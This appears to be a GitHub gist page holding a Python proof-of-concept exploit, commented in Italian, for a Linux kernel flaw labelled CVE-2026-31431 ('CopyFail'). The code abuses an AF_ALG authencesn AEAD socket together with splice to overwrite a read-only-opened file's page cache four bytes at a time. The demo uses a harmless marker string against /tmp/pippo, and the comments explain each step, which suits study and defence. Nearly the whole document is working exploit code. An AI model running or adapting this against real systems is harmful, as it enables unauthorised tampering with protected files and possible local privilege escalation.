Last active
May 12, 2026 17:31
-
-
Save morrolinux/a11e43c7ab528b0c93ce2bb35b28bbd9 to your computer and use it in GitHub Desktop.
CopyFail (CVE-2026-31431) - exploit commentato
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import os, zlib, socket | |
| import struct | |
| pack_uint32 = struct.Struct('I').pack | |
| SOL_ALG = 279 | |
| ALG_SET_KEY = 1 | |
| ALG_SET_IV = 2 | |
| ALG_SET_OP = 3 | |
| ALG_SET_AEAD_ASSOCLEN = 4 | |
| ALG_SET_AEAD_AUTHSIZE = 5 | |
| ALG_OP_DECRYPT = 0 | |
| def voodoo(target_file, index, data): | |
| # inizializza la socket con l'algoritmo vulnerabile AEAD | |
| s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) | |
| s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) | |
| # imposta la chiave di cifratura | |
| s.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex("0800010000000010" + "0" * 64)) | |
| # imposta la dimensione del Tag a 4 byte | |
| s.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) | |
| # apre la socket | |
| u, _ = s.accept() | |
| # invia alla socket AAAA + data (dove data sono 4 byte del payload malevolo) | |
| u.sendmsg( | |
| [b"A" * 4 + data], | |
| [ | |
| # dice alla socket che l'operazione è una decifratura | |
| (SOL_ALG, ALG_SET_OP, pack_uint32(socket.ALG_OP_DECRYPT)), | |
| (SOL_ALG, ALG_SET_IV, b"\x10" + b"\x00" * 19), | |
| # imposta la dimensione dell'AAD a 8 byte | |
| (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, pack_uint32(8)), | |
| ], | |
| # dice alla socket che ci sono altri byte in arrivo | |
| socket.MSG_MORE, | |
| ) | |
| # apre la pipe per scrivere il contenuto di /tmp/pippo nella socket | |
| r, w = os.pipe() | |
| # usando splice, referenzia 4 byte di /tmp/pippo nella socket | |
| num_bytes = index + 4 | |
| os.splice(target_file, w, num_bytes, offset_src=0) | |
| os.splice(r, u.fileno(), num_bytes) | |
| try: | |
| # richiede l'output alla socket, triggerando le operazioni di decifratura | |
| u.recv(index + 8) | |
| except: | |
| # ignora l'eccezione | |
| 0 | |
| target_file = os.open("/tmp/pippo", 0) | |
| payload = "Morrolinux!!".encode("utf-8") | |
| i = 0 | |
| while i < len(payload): | |
| # corrompe 4 byte della page cache del file target | |
| voodoo(target_file, i, payload[i : i + 4]) | |
| i += 4 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment